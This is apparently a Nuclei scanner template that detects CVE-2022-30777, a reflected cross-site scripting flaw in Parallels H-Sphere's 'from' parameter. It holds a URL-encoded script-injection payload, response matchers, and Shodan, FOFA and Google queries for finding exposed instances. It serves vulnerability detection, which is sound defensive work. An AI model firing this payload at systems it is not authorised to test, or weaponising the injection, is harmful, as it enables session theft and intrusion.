CVE-2022-30777: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting

id: CVE-2022-30777

info:
  name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting
  author: 3th1c_yuk1
  severity: medium
  description: |
    Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59
    - https://en.wikipedia.org/wiki/H-Sphere
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30777
    - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30777
    cwe-id: CWE-79
    epss-score: 0.0255
    epss-percentile: 0.84962
    cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: parallels
    product: h-sphere
    shodan-query:
      - title:"h-sphere"
      - http.title:"h-sphere"
      - http.title:"parallels h-sphere"
    fofa-query:
      - title="h-sphere"
      - title="parallels h-sphere"
    google-query:
      - intitle:"h-sphere"
      - intitle:"parallels h-sphere"
  tags: cve,cve2022,parallels,hsphere,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<TITLE>"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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